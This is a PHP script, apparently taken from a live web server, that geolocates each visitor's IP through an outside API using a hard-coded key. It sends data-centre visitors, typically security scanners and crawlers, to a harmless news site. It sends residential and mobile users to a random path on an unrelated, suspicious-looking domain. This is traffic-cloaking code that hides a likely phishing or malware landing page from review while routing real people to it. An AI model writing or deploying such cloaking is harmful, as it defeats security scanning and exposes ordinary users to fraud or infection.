ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); $apiKey = "2A0207958F6B7C446F5F2D35C971766D"; function getUserIP() { return $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR']; } function logDebugMessage($message) { $logFile = __DIR__ . '/debug_log.json'; $logData = file_exists($logFile) ? json_decode(file_get_contents($logFile), true) ?? [] : []; $logData[] = ['timestamp' => date('Y-m-d H:i:s'), 'message' => $message]; file_put_contents($logFile, json_encode($logData, JSON_PRETTY_PRINT)); } $userIP = getUserIP(); if (!filter_var($userIP, FILTER_VALIDATE_IP)) { logDebugMessage("Invalid IP: $userIP"); exit('Invalid IP address.'); } $apiEndpoint = "https://api.ip2location.io/?key=$apiKey&ip=$userIP&format=json"; $response = @file_get_contents($apiEndpoint); if ($response === FALSE) { logDebugMessage("Failed to fetch API response for IP: $userIP"); exit('Error fetching IP data.'); } $data = json_decode($response, true); if (empty($data) || isset($data['error'])) { logDebugMessage("API error or invalid response: " . htmlspecialchars($response)); exit('API error occurred.'); } if (!empty($data['proxy']['is_data_center']) && $data['proxy']['is_data_center'] === true) { header("Location: https://searchenginejournal.com"); exit; } elseif (isset($data['usage_type']) && in_array($data['usage_type'], ['ISP', 'MOB', 'RES'])) { header("Location: https://tvrcemeheff.spiritandconcussions.org/hWJLqiXm"); exit; } else { logDebugMessage("Unhandled case for IP: $userIP. Response: " . json_encode($data)); exit('Unhandled user type.'); } ?>